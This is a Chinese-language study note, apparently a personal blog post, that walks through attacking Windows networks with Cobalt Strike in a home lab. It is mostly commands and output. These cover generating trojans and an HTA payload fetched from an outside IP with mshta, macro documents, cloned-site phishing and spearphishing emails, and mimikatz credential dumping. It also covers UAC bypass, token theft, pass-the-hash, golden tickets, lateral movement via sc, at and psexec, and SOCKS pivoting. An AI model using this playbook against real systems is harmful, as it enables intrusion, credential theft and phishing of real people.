Cobalt Strike学习笔记
Cobalt strike的安装与使用
Cobalt Strike 要求 Oracle Java 1.8,Oracle Java 11, 或 OpenJDK 11
安装
Windows客户端的安装
安装windows10虚拟机(防止中毒,也可直接安装在本机,方便很多) :配java环境 安装cs服务端
管理员身份运行powshell:
1 | ./Keytool.exe -keystore ./cobaltstrike.store -storepass 123456 -keypass 123456 -genkey -keyalg RSA -alias cobaltstrike -dname "CN=Major Cobalt Strike,OU=AdvancedPenTesting,O=cobaltstrike, L=Somewhere, S=Cyberspace, C=Earth" |
linux服务端
Cobalt Strike 团队服务器必须在受支持的 Linux 系统上运行,以root身份运行
1 | chmod 755 teamserver //给服务器端运行权限 |
都配置完成后就可以回到windows客户端,点击运行bat文件(这里踩了个坑,服务端客户端版本不一致连不上)
换成一致的4.0版本后成功连接
创建监听器
Listner(监听器):专门用于对其他对象身上发生的事件或状态改变进行监听和相应处理的对象,当被监视的对象发生情况时,立即采取相应的行动。
点击Cobalt Strike -> Listeners->Add,其中内置了八个Listener
其中beacon为内置监听器,包括dns、http、https、smb四种方式的监听器; foreign为外部监听器,配合Metasploit或者Armitage的监听器;“External C2”,创造隐蔽的C2通道。即支持:HTTP/HTTPS以及DNS协议。
示例
点击save即创建成功
beacon命令
help 查看beacon shell所有内置命令帮助,如果想查看指定命令的用法,可以这样help upload
note 给当前目录机器起个名字, note beacon-shell
cd在目标系统中切换目录,注意在win系统中切换目录要用双反斜杠,或者直接用’/’ cd c:
mkdir 新建目录, mkdir d:beacon
rm 删除文件或目录, rm d:beacon
upload 上传文件到目标系统中
download从目标系统下载指定文件, download C:Userswin7cnDesktopputty.exe
cancel取消下载任务,比如,一个文件如果特别大,下载可能会非常耗时,假如中途你不想继续下了,就可以用这个取消一下
shell在目标系统中执行指定的cmd命令, shell whoami
getuid 查看当前beacon 会话在目标系统中的用户权限,可能需要bypassuac或者提权
pwd查看当前在目录系统中的路径
ls列出当前目录下的所有文件和目录
drives列表出目标系统的所有分区[win中叫盘符]
ps查看目标系统当前的所有的进程列表
kill杀掉指定进程, kill 4653
sleep 10指定被控端休眠时间, 默认60秒一次回传, 让被控端每10秒来下载一次任务, 实际中频率不宜过快, 容易被发现, 80左右一次即可
jobs列出所有的任务列表,有些任务执行时间可能稍微较长,此时就可以从任务列表中看到其所对应的具体任务id,针对性的清除
jobkill如果发现任务不知是何原因长时间没有执行或者异常,可尝试用此命令直接结束该任务, jobkill 1345
clear清除beacon内部的任务队列
checkin强制让被控端回连一次
exit 终止当前beacon 会话
ctrl + k 清屏
攻击手段
生成木马
以生成的exe远控木马为例:
点击Attacks->Packages->Windows Executable(s),选择对应的监听器
点击生成的木马文件即上线
cobalt strike为了维持连接,会每60秒发送一次连接,但是如果使用的话60秒会造成卡顿, 上线后将默认心跳包改成0s,
修改方法:右键弹出的内容下拉菜单中选择session->sleep,弹出的对话框中输入0,单击确定
或直接在beacon命令行里输入sleep 0
获取自己需要的信息
HTML Application
点击Attacks->Packages->HTML Application,选择对应的监听器,方法这里有三种(executable/VBA/powershell),选择powershell,点击Generate生成,选择生成的路径及文件名保存即可。
开启web服务
点击Attacks->Web Drive-by->Host File,选择刚刚生成的木马evil.hta,点击Launch生成下载链接
访问下载木马文件
运行木马
打开受害机cmd,运行mshta命令。mshta.exe是微软Windows操作系统相关程序,用于执行.HTA文件。
1 | mshta http://45.77.20.229/download/file.ext |
上线
克隆网站
我的java环境有问题,烦死了,换了个java版本也不行
用户键盘输入的信息都可以在web日志中看到
microsoft 宏
不关防火墙保存不了,但可以直接执行,虽然也会检测到,但还是可以上线
将此文档保存为可以执行宏的格式,这里保存的为Doc1.docm
在自己电脑上打开此文件,即可在cs中看到自己上线的主机
信息收集
建立一个钓鱼页面去收集用户信息,其中主机地址和端口就是TeamServerIP和端口,RedirectUrl就是点击后跳转的URL,可以填一个大型网站,底下的使用JavaApplet复选框也已经过时对于受害者系统版本较低的情况下可以使用,点击开始后会生成URL,只要诱导用户访问即上线
用户访问后跳转到百度,在 视图->应用信息 可以看到收集的信息
能够看到目标使用的浏览器版本、系统版本等信息了,知道了版本信息,就能够进一步知道目标上可能存在什么漏洞。
钓鱼邮件
鱼叉式网络钓鱼攻击针对特定组织内的特定目标个体,相对于普通钓鱼攻击来说针对的目标更加精准,所以形象的成为鱼叉钓鱼攻击
当进行攻击的骇客锁定目标后,会以电子邮件的方式,假冒该公司或组织的名义寄发难以辨真伪之档案,诱使员工进一步登录其账号密码,使攻击者可以以此借机安装特洛伊木马或其他间谍软件,窃取机密;或于员工时常浏览之网页中置入病毒自动下载器,并持续更新受感染系统内之变种病毒,使使用者穷于应付。由于鱼叉式网络钓鱼锁定之对象并非一般个人,而是特定公司、组织之成员,故受窃之资讯已非一般网络钓鱼所窃取之个人资料,而是其他高度敏感性资料,如知识产权及商业机密
比较常见的鱼叉攻击就是发钓鱼邮件攻击,接下来使用CS来进行演示
基本步骤
创建一个目标清单
制作一个邮件模板或者使用之前制作好的模板,制作克隆网站
选择一个用来发送邮件的邮件服务器
发送邮件
1.创建目标清单
目标清单就是一个包含多个邮箱地址的txt文本文件,每行包含一个目标
1 | test@163.com Victim |
前面的部分为后面的部分为对于受害者的备注信息,中间用tab键分隔
这样一个目标清单制作好了
2.制作邮件模板
在邮箱中找到合适的邮件,选择显示邮件原文,复制另存为txt文件就行
3.选择邮件服务器
我这里直接使用的163的邮箱(手动开启SMTP POP3服务全开)
4.发送邮件
EmbedURL 选择生成的克隆网站链接
BounceTo,Bounce To为退回邮件接收地址,注意要和配置邮件服务器时填的邮箱一致
Preview按钮可以查看邮件模块效果
设置邮箱信息
注意:该密码非邮箱密码,而是开启stmp服务时授权码,使用SSL,163邮箱的25端口可能会连不通,用465端口
send
收到钓鱼邮件
点击链接跳转到设置的url
可以拓展很多其他用法,比如带上木马附件,跳转链接为恶意链接等……
凭证和哈希获取
想要获取凭证信息,可以在管理员权限的会话处右击选择Access --> Dump Hashes
,或者在控制台中使用hashdump
命令。
想获取当前用户的密码,可以运行mimikatz
,右击管理员权限会话选择Access --> Run Mimikatz
,或在控制台运行logonpasswords
命令。
在View --> Credentials
下可以查看到hashdump
与mimikatz
获取的数据。
Mimikatz
在 Beacon 中集成了 mimikatz ,mimikatz 执行命令有三种形式:
1 | mimikatz [module::command] <args> 运行 mimikatz 命令 |
下面是一些mimikatz
命令
1 | !lsadump::cache 获取缓存凭证,默认情况下 Windows 会缓存最近10个密码哈希 |
以上的这些只是mimikatz
能做事情的一小部分,下面看看!misc::memssp
的使用。
1 | mimikatz !misc::memssp |
详细运行过程:
首先运行mimikatz !misc::memssp
1 | beacon> mimikatz !misc::memssp |
接下来来到C:\Windows\system32
目录
1 | beacon> cd C:\Windows\system32 |
可以看到是存在mimilsa.log
文件的,此时待目标主机重新登录,比如电脑锁屏后用户进行登录。
查看mimilsa.log
文件内容。
1 | beacon> shell type mimilsa.log |
成功获取到当前登录用户的明文密码。
提权
自 Windows vista 开始,Windows 系统引进了用户账户控制机制,即 UACUser Account Control
机制,UAC 机制在 Win 7中得到了完善。UAC 与 UNIX 中的 sudo 工作机制十分相似,平时用户以普通权限工作,当用户需要执行特权操作时,系统会询问他们是否要提升权限。
此时系统用户可分为以下三种等级:
高:管理员权限
中:一般用户权限
低:受限制的权限
使用whoami /groups
命令可以看到当前用户所在的组以及权限,使用net localgroup administrators
可以查看当前在管理员组里的用户名。
提权操作
当某些操作需要管理员权限,而当前用户权限只有一般用户权限时,就需要提权操作了。
在 CS 中有以下几种提权操作:
bypassuac
:将本地中级管理员权限提升至本地高级管理员权限,适用于Win 7 及以上的系统。
elevate
:将任意用户的权限提升至系统权限,适用于2018年11月更新之前的 Win 7 和 Win 10 系统。
getsystem
:将本地高级管理员权限提升至系统权限。
runas
:使用其他用户的凭证来以其他用户身份运行一个命令,该命令不会返回任何输出。
spawnas
:使用其他用户的凭证来以其他用户身份派生一个会话,这个命令派生一个临时的进程并将 payload stage 注入进那个进程
Spawn As
首先,右击待提权的会话,选择Access --> Spawn As
,输入目标系统用户身份信息,其中域信息填写一个“点”代表本地用户,监听器这里选择的 SMB 监听器,之后点击运行就能看到对应的用户上线了。
Bypass UAC
Bypass UAC 有两个步骤,分别是:
1、利用 UAC 漏洞来获取一个特权文件副本
2、使用 DLL 劫持进行代码执行
首先使用shell whoami /groups
查看当前上线主机用户的所属组及 UAC 等级
通过返回信息可以看出,当前用户为管理员权限,UAC 等级为中,此时可以使用bypassuac
进行提权。
首先,右击会话,选择Access --> Elevate
,这里选择一个 SMB Beacon,Exploit 选择uac-token-duplication
,最后 Launch 即可。
待 Beacon Check in 后,当前用户 UAC 为高权限的会话便会上线了
例:
由于CS自带的提权方式较少,因此这里就先加载一些网上的提权脚本,脚本下载地址:https://github.com/rsmudge/ElevateKit
下载之后,打开Cobalt Strike --> Script Manager
,之后点击Load
,选择自己刚才下载的文件中的elevate.cna
文件
接着选择要提权的主机,右击选择Access --> Elevate
,Listener中选择刚才新建的SMB Beacon,这里的Exploit选择了ms14-058,如果使用ms14-058不能提权,就换一个Exploit进行尝试
顺利的情况下,就可以看到提权后的管理员权限会话了,在管理员权限的会话中,不光用户名后有个*号,其Logo也是和其他会话不同的
PowerUp
PowerUp 所做的事是寻找可能存在弱点的地方,从而帮助提权。
利用 PowerUp 进行提权需要首先导入 ps1 文件powershell-import PowerUp.ps1
,再执行powershell Invoke-AllChecks
命令,使用 PowerUp 脚本可以快速的帮助我们发现系统弱点,从而实现提权的目的。
其中PowerUp.ps1
文件可从这里下载:https://github.com/PowerShellMafia/PowerSploit/tree/master/Privesc(opens new window)
PowerUp 的使用
执行以下命令:将 ps1 文件上传到目标主机,并执行所有弱点检查。
1 | powershell-import PowerUp.ps1 |
详细运行过程:
1 | beacon> powershell-import PowerUp.ps1 |
如果在自己的靶机上发现导入ps1文件失败,这可能是因为系统不允许执行不信任的脚本文件导致的。
以管理员权限打开 Powershell,运行set-ExecutionPolicy RemoteSigned
,输入Y
回车,此时系统便能导入PowerUp.ps1
文件了
1 | PS C:\WINDOWS\system32> set-ExecutionPolicy RemoteSigned |
在运行Invoke-AllChecks
后,便会列出当前系统中可被提权的弱点之处,之后再执行检查结果中AbuseFunction
下的命令便能开始提权操作了。
但是我在自己本地环境中并未复现成功,执行AbuseFunction
后的命令只能创建一个与当前登录用户相同权限的账户,没能达到提权的目的。
MSF 与 CS 的结合利用
如果想使用MSF对目标进行漏洞利用,再通过这个漏洞来传输Beacon的话,也是可以的。
1、首先在MSF上选择攻击模块
2、接着在MSF上设置Payload为windows/meterpreter/reverse_http
或者windows/meterpreter/reverse_https
,这么做是因为CS的Beacon与MSF的分阶段协议是相兼容的
3、之后在MSF中设置Payload的LHOST、LPORT为CS中Beacon的监听器IP及端口
4、然后设置 DisablePayloadHandler
为 True,此选项会让 MSF 避免在其内起一个 handler 来服务你的 payload 连接,也就是告诉MSF说我们已经建立了监听器,不必再新建监听器了
5、再设置 PrependMigrate
为 True,此选项让 MSF 前置 shellcode 在另一个进程中运行 payload stager。如果被利用的应用程序崩溃或被用户关闭,这会帮助 Beacon 会话存活
6、最后运行exploit -j
,-j 是指作为job开始运行,即在后台运行
操作
在CS中新建一个HTTP Beacon,创建过程不再赘述。
1、在MSF中选择攻击模块,根据教程这里选择的adobe_flash_hacking_team_uaf
模块,不过个人感觉现在这个模块已经不太能被利用成功了
1 | use exploit/multi/browser/adobe_flash_hacking_team_uaf |
2、接着配置payload,这里选择revese_http payload
1 | set payload windows/meterpreter/revese_http |
3、之后,配置DisablePayloadHandler
、PrependMigrate
为 True
1 | set DisablePayloadHandler True |
4、最后,开始攻击。
1 | exploit -j |
横向扩展
1、Windows 企业局域网环境介绍
活动目录
活动目录Active Directory
是一种能够集中管理用户、系统和策略的技术,活动目录的一个重要概念就是 域
。
Active Directory 存储有关网络上对象的信息,并让管理员和用户可以更容易地使用这些信息。例如 Active Directory 域服务即 AD DS 存储着有关用户账户的信息,并且使同一网络下的其他授权用户可以访问此信息。
域
域Domain
即是一个管理员或者说是网络边界,在域里的用户和系统都是通过 AD进行管理的。
在域里,如果想控制服务器进行操作就需要取得域的信任。
域控制器
域控制器Domain Controller
顾名思义就是一个对域里的用户和系统进行身份验证的一个系统。
本地用户
本地用户Local User
就是系统上的一个标准用户。
当我们想在 Windows 命令行下指定一个本地的用户时,可以通过输入 .\本地用户名
或者 计算机名\本地用户名
来指定本地的用户账户,其中.
表示计算机名。
域用户
域用户Domain User
是指域控制器下的用户,如果想指定域用户,可以输入域名\域用户名
本地管理员
本地管理员Local Administrator
即是指在本地系统有管理权限的用户。
域管理员
域管理员Domain Administrator
是指在域控制器上有管理权限的用户。
注意:在 Cobalt Strike 中运行只需要根据命令类型在命令前加上 shell 或者 powershell 即可
2、主机和用户枚举
主机枚举
一些问题
当进入目标局域网时,需要弄清楚几个问题。
1、我正处在那个域上?
2、域信任关系是什么样的?
3、可以登陆哪些域?这些域上有哪些系统?目标是什么?可以获取什么?
4、系统上存放共享数据的地方在哪里?
一些枚举的命令
net view /domain
枚举出当前域
1 | PS C:\> net view /domain |
net view /domain:[domain]
、net group "domain computers" /domain
net view /domain:[domain]
枚举域上一个主机的列表,但不是所有主机,这个也就是在网上邻居中可以看到的内容。net group "domain computers" /domain
可以获得加入到这个域中的电脑账户列表。
1 | PS C:\> net view /domain:teamssix |
nltest /dclist:[domain]
如果想找到那个主机是域的域控服务器,可以使用
nltest
命令
1 | PS C:\> nltest /dclist:teamssix |
当使用 32 位的 payload 运行在 64 位的系统上,并且 nltest 路径不对的时候,可能会提示没有 nltest 这个命令,这时可以尝试使用下面的命令为其指定路径
1 | PS C:\> C:\windows\sysnative\nltest /dclist:teamssix |
nslookup [name]
、ping -n 1 -4 [name]
有时在 Cobalt Strike 里,我们只需要使用目标的 NetBIOS 名称,而不用在意使用 IPv4 地址或者 IPv6 地址,NetBIOS 名称是在域上每台机器的完整名称
但是如果想通过一个 IPv4 地址转换为一个 NetBIOS 名称,可以使用 nslookup 命令,或者使用 ping 发送一个包来获得主机返回的 IP 地址
1 | PS C:\> nslookup WIN-P2AASSD1AF1 |
nltest /domain_trusts
、nltest /server:[address] /domain_trusts
如果想取得域上的信任关系,可以使用 nltest 命令来实现
1 | PS C:\> nltest /domain_trusts |
net view \\[name]
如果想列出主机上的共享列表,只需输入
net view \\[name]
即可
1 | PS C:\> net view \\WIN-P2AASSD1AF1 |
PowerView
在渗透进入内网后,如果直接使用 Windows 的内置命令,比如 net view、net user
等,可能就会被管理人员或者各种安全监控设备所发现。因此较为安全的办法就是使用 Powershell 和 VMI 来进行躲避态势感知的检测。
PowerView 是由 Will Schroeder 开发的 PowerShell 脚本,该脚本完全依赖于 Powershell 和 VMI ,使用 PowerView 可以更好的收集内网中的信息,在使用之前,与上一节 PowerUp 的一样需要先 import 导入 ps1 文件。
PowerView 下载地址:https://github.com/PowerShellMafia/PowerSploit/tree/master/Recon
一些 PowerView 的命令:
Get-NetDomain
查询本地域的信息
1 | PS C:\PowerView> Get-NetDomain |
Invoke-ShareFinder
查找网络上是否存在共享
1 | PS C:\PowerView> Invoke-ShareFinder |
Invoke-MapDomainTrust
显示当前域的信任关系
1 | PS C:\PowerView> Invoke-MapDomainTrust |
其他更多用法可以参考 PowerView 项目上的 ReadMe 部分
Net 模块
Cobalt Strike 中有自己的 net 模块,net 模块是 beacon 后渗透攻击模块,它通过 windows 的网络管理 api 函数来执行命令,想使用 net 命令,只需要在 beacon 的控制中心输入 net + 要执行的命令即可。
1 | net dclist : 列出当前域的域控制器 |
在 beacon 控制台中输入这些命令很类似输入一个本地的 net 命令,但是有一些些许的不同,比如下面一个是在主机上运行 net view 的结果一个是在 beacon 控制台下运行 net view 的结果。不难看出,beacon 下输出的结果更为丰富。
1 | PS C:\> net view |
1 | beacon> net view |
用户枚举
用户枚举的三个关键步骤:
1、当前账号是否为管理员账号?
2、哪些账号是域管理员账号?
3、哪个账号是这个系统上的本地管理员账号?
管理员账号
第一个关键步骤,发现管理员账号。
如果想知道自己是否为管理员账号,可以尝试运行一些只有管理员账号才有权限操作的命令,然后通过返回结果判断是否为管理员。
其中一种方式是尝试列出仅仅只有管理员才能查看的共享列表,比如下面的 dir \\host\C$
命令,如果可以看到一个文件列表,那么说明可能拥有本地管理员权限。
1 | shell dir \\host\C$ |
也可以运行其他命令,比如运行下面的 at
命令来查看系统上的计划任务列表,如果显示出了任务列表信息,那么可能是本地管理员。(当任务列表没有信息时会返回 “列表是空的” 提示)
1 | shell at \\host |
在上一节讲述的 PowerView
有很多很好的自动操作来帮助解决这些问题。可以在加载 PowerView
后,运行下面的命令,通过 PowerView
可以快速找到管理员账号
1 | powershell Find-LocalAdminAccess |
域管理员账号
第二个关键步骤,发现域管理员账号。
列出域管理员
对于发现域管理员账号,可以在共享里使用本地的Windows命令。运行以下两条命令可以用来找出这些“域群组”的成员。
1 | net group "enterprise admins" /DOMAIN |
1 | beacon> shell net group "enterprise admins" /domain |
1 | beacon> shell net group "domain admins" /domain |
或者运行下面的命令来看谁是域控制器上的管理员
1 | net localgroup "administrators" /DOMAIN |
1 | beacon> shell net localgroup "administrators" /domain |
Net 模块
beacon 的 net 模块也可以帮助我们,下面的命令中 TARGET
的意思是一个域控制器或者是任何想查看的组名,比如企业管理员、域管理员等等
1 | net group \\TARGET group name |
也可以运行下面的命令,这会连接任意目标来获取列表
1 | net localgroup \\TARGET group name |
本地管理员
Net 模块
本地管理员可能是一个域账户,因此如果想把一个系统作为目标,应该找到谁是这个系统的本地管理员,因为如果获得了它的密码哈希值或者凭据就可以伪装成那个用户。
beacon 的 net 模块可以在系统上从一个没有特权的关联中查询本地组和用户。
在 beacon 控制台中运行下面命令可以获得一个目标上的群组列表
1 | net localgroup \\TARGET |
如果想获取群组的列表,可运行下面的命令来获得一个群组成员的名单列表。
1 | net localgroup \\TARGET group name |
1 | beacon> net localgroup \\WinDC administrators |
PowerView 模块
PowerView 使用下面的命令能够在一个主机上找到本地管理员,这条命令实际上通过管理员群组找到同样的群组并且把成员名单返回出来。
1 | Get-Netlocalgroup -hostname TARGET |
1 | beacon> powershell Get-Netlocalgroup -Hostname WinDC |
无需恶意软件
如果一个系统信任我们为本地管理员权限,那么我们可以在那个系统上干什么呢?
查看共享文件
比如我们可以通过运行下面的命令来列出 C:\foo 的共享文件
1 | shell dir \\host\C$\foo |
1 | beacon> shell dir \\WinDC\C$ |
复制文件
比如运行下面的命令将 secrets.txt
文件复制到当前目录。
1 | shell copy \\host\C$\foo\secrets.txt |
1 | beacon> shell copy \\WinDC\C$\foo\secrets.txt |
查看文件列表
比如运行下面的命令。其中 /S 表示列出指定目录及子目录所有文件,/B 表示使用空格式,即没有标题或摘要信息。
1 | shell dir /S /B \\host\C$ |
1 | beacon> shell dir /S /B \\WinDC\C$\Users |
使用 WinRM 运行命令
WinRM 运行在 5985 端口上,WinRM 是 Windows 远程管服务,使用 WinRM 可以使远程管理更容易一些。
如果想利用 WinRM 运行命令则可以使用下面的命令。
1 | powershell Invoke-Command -ComputerName TARGET -ScriptBlock {command here} |
1 | beacon> powershell Invoke-Command -ComputerName WinDC -ScriptBlock { net localgroup administrators} |
注:如果命令运行失败可能是因为 WinRM 配置原因,可在 powershell 环境下运行 winrm quickconfig
命令,输入 y
回车即可
命令运行后的结果,WinRM 也将通过命令行进行显示,因此可以使用 Powershell 的 Invoke 命令来作为远程工具,而不使用其他的恶意软件来控制系统。
通过 WinRM 运行 Mimikatz
更进一步,甚至可以使用 PowerSploit 来通过 WinRM 运行 Mimikatz,只需要先导入 Invoke-Mimikatz.ps1 文件,再执行以下命令即可
1 | powershell-import /path/to/Invoke-Mimikatz.ps1 |
注:之前提了很多次的 PowerView 也是 PowerSploit 项目里众多 ps1 文件之一,Mimikatz 的 ps1 文件在 PowerSploit 项目的 Exfiltration 目录下,PowerSploit 项目下载地址:https://github.com/PowerShellMafia/PowerSploit/(opens new window)
因为 beacon 上传文件大小限制在1MB,而 Invoke-Mimikatz.ps1 文件大小在 2 MB 多,因此直接运行 powershell-import
导入该文件会报错,这里可以选择使用 beacon 中的 upload 命令或者在当前会话的 File Browser 图形界面中上传该文件。
1 | upload C:\path\Invoke-Mimikatz.ps1 |
上传之后通过 dir 命令可以查看到文件被上传到了C盘下,之后可以运行以下命令来导入该文件。
1 | powershell import-module C:\Invoke-Mimikatz.ps1 |
最后再运行以下命令就能通过 WinRM 执行 Mimikatz 了
1 | powershell Invoke-Mimikatz -ComputerName TARGET |
如果提示无法将“Invoke-Mimikatz”项识别为 cmdlet、函数……
,则可以将两条命令以分号合并在一起运行,即:
1 | powershell import-module C:\Invoke-Mimikatz.ps1 ; Invoke-Mimikatz -ComputerName TARGET |
1 | beacon> powershell import-module C:\Invoke-Mimikatz.ps1 ; Invoke-Mimikatz -ComputerName WinDC |
获取信任
如果当前账号权限被系统认为是本地管理员权限,那么就可以执行很多管理员才能做的事,接下来就来看一下这样的一个过程是如何工作的,其中会涉及到以下要点:
1、Access Token
登录令牌
2、Credentials
凭证
3、Password Hashes
密码哈希
4、Kerberos Tickets
登录凭据
登录令牌
- 登录令牌在登录之后被创建
- 与每个进程和线程相关联
- 包括:
- 用户和用户组的信息
- 本地计算机上的特权列表
- 限制(删除用户和用户组的权限)
- 参考凭证(支持单点登录)
- 一直保存在内存中,直到系统重启
以下是令牌窃取的过程:
- 使用
ps
列出进程 - 使用
steal_token [pid]
窃取令牌 - 使用
getuid
找到你是谁 - 使用
rev2self
移除令牌
接下来将对这些命令进行演示,目前有一个 SYSTEM 权限的会话,该会话在 WIN-72A8ERDSF2P 主机下,此时想查看 WIN-P2AASSD1AF1 主机下的文件(WIN-P2AASSD1AF1 主机是 TEAMSSIX 域的域控制器),那么直接运行 dir 会提示拒绝访问。
1 | beacon> shell dir \\WIN-P2AASSD1AF1\C$ |
此时,先用 ps
查看一下当前系统进程信息。
1 | beacon> ps |
通过进程信息可以发现 TEAMSSIX 域下的管理员账户此时在当前 SYSTEM 会话的主机上是登录着的,使用 steal_token [pid]
命令窃取 TEAMSSIX\Administrator 账户的令牌
1 | beacon> steal_token 4092 |
查看一下当前会话 uid
1 | beacon> getuid |
再次尝试获取域控制器主机下的文件
1 | beacon> shell dir \\WIN-P2AASSD1AF1\C$ |
发现可以成功访问了,使用 rev2self
可移除当前窃取的令牌
1 | beacon> rev2self |
再次查看 uid 发现变成了原来的 SYSTEM 权限,此时 WIN-P2AASSD1AF1 主机上的文件也拒绝访问了。
1 | beacon> getuid |
凭证
1、使用 make_token 创建一个令牌
1 | make_token DOMAIN\user password |
在运行命令之前,需要知道要获取令牌用户的密码,这里可以使用 mimikatz 进行获取,具体的方法可参考《CS学习笔记 | 14、powerup提权的方法》这一节中的介绍
这里还是和上文一样的环境,在一个 SYSTEM 会话下,获取 TEAMSSIX\administrator 账号令牌,使用 mimikatz 可以得知 TEAMSSIX\administrator 账号密码为 Test111!,接下来使用 make_token
命令
1 | beacon> make_token TEAMSSIX\administrator Test111! |
当密码输入错误时,执行上面的两个命令就会提示 登录失败: 未知的用户名或错误密码。
同样的使用 rev2self
可除去当前令牌,恢复原来的 SYSTEM 权限。
2、使用 spawn beacon 替代凭证
1 | spawnas DOMAIN\user password |
3、在目标上建立账户
1 | net use \\host\C$/USER:DOMAIN\user password |
这两种方法,在之前的笔记中都或多或少的提及过,这里不再过多赘述。
密码哈希
使用 mimikatz 获取密码哈希
1 | pth DOMAIN\user ntlmhash |
如何工作的?
1、mimikatz 使用登录令牌开启了一个进程,在单点登录信息那里填入我们提供的用户名称、域、密码哈希值
2、cobalt strike 自动的从那个进程中窃取令牌并关闭
首先使用 hashdump
获取用户的密码哈希值,这里的 beacon 会话为 SYSTEM 权限。
1 | beacon> hashdump |
使用 pth
获取信任
1 | beacon> pth TEAMSSIX\Administrator 12cb161bvca930994x00cbc0aczf06d1 |
Kerberos 票据
关于 Kerberos 的介绍: https://www.zhihu.com/question/22177404
查看有哪些 Kerberos 票据
1 | shell klist |
除去 kerberos 票据
1 | kerberos_ticket_purge |
加载 kerberos 票据
1 | kerberos_ticket_use [/path/to/file.ticket] |
黄金票据
黄金票据 Golden Ticket
是 KRBTGT 帐户的 Kerberos 身份验证令牌,KRBTGT 帐户是一个特殊的隐藏帐户,用于加密 DC 的所有身份验证令牌。然后黄金票据可以使用哈希传递技术登录到任何帐户,从而使攻击者可以在网络内部不受注意地移动。
使用 mimikatz 伪造黄金票据需要:
1、目标的用户名及域名
2、域的 SID 值
域的 SID 值即安全标识符 Security Identifiers
,使用 whoami /user
命令可查看,注意不需要 SID 最后的一组数字。
1 | beacon> shell whoami /user |
因为不需要 SID 最后一组数字,所以这里要使用的 SID 也就是 S-1-5-21-5311978431-183514165-284342044
3、DC 中 KRBTGT 用户的 NTLM 哈希
DC 中 KRBTGT 用户的 NTLM 哈希可以通过 dcsync 或 hashdump 获得,下面的 hashdump 命令在域控制器的 SYSTEM 权限会话下运行
1 | beacon> hashdump |
Cobalt Strike 在 Access -> Golden Ticket
中可以打开生成黄金票据的界面
信息填完之后,选择 Build,需要注意 Domain 需要填写成 FQDN 格式,即完全合格域名 Fully Qualified Domain Name
,也就是类似于 teamssix.com
的格式
此时可以通过 shell dir \\host\C$
检查自己是否有权限,也可以使用 PowerShell 运行 whoami 查看自己是谁。
1 | beacon> powershell Invoke-Command -computer WinDC -ScriptBlock {whoami} |
远程代码执行
实现代码执行的四个步骤:
1、与目标建立信任关系
2、复制可执行文件到目标上
3、在目标上运行可执行文件
4、实现对目标的控制
个人感觉其实这一节叫横向移动的方法
更为合适
创建可执行文件
创建可执行文件可以在 Cobalt Strike 的 Attack -> Packages -> Windows Executable(s)
处进行创建
如果用于内网中的横向移动,那么强烈建议使用 SMB Beacon,SMB Beacon 就是为了内网横向扩展渗透而设计的
上传可执行文件
首先使用 Cobalt Strike 上的 upload
功能上传文件,接着复制文件到目标主机的其他位置。
1 | shell copy file.exe \\host\C$\Windows\Temp |
1 | beacon> upload /root/beacon.exe |
执行文件(方法一)
1、生成 Windows Service EXE 并上传
2、在目标主机上创建一个服务
1 | shell sc \\host create name binpath= c:\windows\temp\file.exe |
1 | beacon> shell sc \\wintest create beacon binpath= c:\windows\temp\beacon.exe |
注:记住 binpath 路径
3、在目标主机上启动服务
1 | shell sc \\host start name |
1 | beacon> shell sc \\wintest start beacon |
4、清除痕迹与服务
1 | shell sc \\host delete name |
1 | beacon> shell del beacon.exe |
执行文件(方法二)
1、生成 Windows EXE 并上传,注意这里生成的 EXE 和方法一
生成的 EXE 是不一样的类型,这里生成的是Windows EXE
,不是方法一中的Windows Service EXE
2、找到目标系统上的时间
1 | shell net time \\host |
1 | beacon> shell net time \\windc |
3、创建一个计划任务
1 | shell at \\host HH:mm C:\path\to\bad.exe |
1 | beacon> shell at \\windc 15:00 C:\windows\temp\beacon.exe |
4、当计划任务被执行时,执行 link hostname 即可上线主机
1 | beacon> link windc |
beacon 的自动操作
前面说的两种执行文件的方法都需要往磁盘里上传文件,如果不想往磁盘中上传文件,也可以使用 beacon 的自动操作。
- 使用一个服务运行可执行文件
1 | psexec [target] [share] [listener] |
- 使用一个服务运行 Powershell 单行程序
1 | psexec_psh [target] [listener] |
- 通过 WinRM 运行 Powershell 单行程序
1 | winrm [target] [listener] |
- 通过 WMI 运行 Powershell 单行程序
1 | wmi [target] [listener] |
在 Cobalt Strike 的 viwe --> Targets
下,右击主机选择 Jump
也可以通过图形化的方式进行上述操作,这样也使得横向移动更加的简单。
接下来进行一下演示,目前手中有一个普通机器的管理员会话,我们先在这台机器上运行 net view
查看一下当前域环境中的主机信息。
1 | beacon> net view |
因为是自己本地搭建的测试环境,所以主机很少,可以看到当前域中有两台机器,再利用 PowerView 查找一下具有本地管理员访问权限的用户
1 | beacon> powershell-import PowerView.ps1 |
接下来在 WinDC 上运行 psexec,因为这里是 64 位的,所以选择 psexec64,之后监听选择一个 smb beacon,会话就选择已经上线的 wintest 主机的会话,并勾选使用当前会话的访问令牌
应该是因为当前在 wintest 主机上有 windc 的管理员账户登录着,所以使用 wintest 的访问令牌是可以获取 windc 的信任的
之后,windc 主机就上线了,域中如果还有其他主机,也可以使用这种方法去横向移动
转发
1、SOCKS 代理转发
在进行转发操作之前,需要将当前会话改为交互模式,也就是说输入命令就被执行,执行 sleep 0
即为交互模式
Socks
- 在当前 beacon 上可以右击选择
Pivoting --> SOCKS Server
设置一个 Socks4a 代理服务 - 或者使用命令
socks [port]
进行设置 - 使用命令
socks stop
关闭 Socks 代理服务 - 在
View --> Proxy Pivots
中可以看到已经创建的代理服务
Metasploit 连接到 Socks 代理服务
- CS 中创建好代理后,在 Metasploit 中可以运行以下命令通过 beacon 的 Socks 代理进行通信
1 | setg Proxies socks4:127.0.0.1:[port] |
如果感觉上面命令比较长,还可以在 Proxy Pivots
界面中点击 Tunnel
按钮查看命令。
- 运行以下命令来停止
1 | unsetg Proxies |
setg 命令和 unsetg 表示在 metasploit 中全局有效,不用在每次选择模块后再重新设置。
演示
1、环境说明
攻击机 IP:192.168.175.200
上线主机:外部IP 192.168.175.130、内部IP 192.168.232.133
攻击目标:192.168.232.0/24 地址段
当前已经上线了一个 IP 为 192.168.175.130 主机,通过 ipconfig 发现,该主机也在 192.168.232.0/24 地址段内,但当前攻击机无法访问 232 的地址段,因此如果想对 232 段内的主机发起攻击,就可以采用将 192.168.175.130 作为跳板机访问的方式
2、设置 socks 代理
开启交互模式 sleep 0
1 | beacon> sleep 0 |
开启 socks 代理 socks 9527
1 | beacon> socks 9527 |
以上操作也可以通过图形化的方式进行。
3、Metasploit 中进行设置
开启 Metasploit 后,运行 setg 命令 setg Proxies socks4:192.168.175.200:9527
1 | msf5 > setg Proxies socks4:192.168.175.200:9527 |
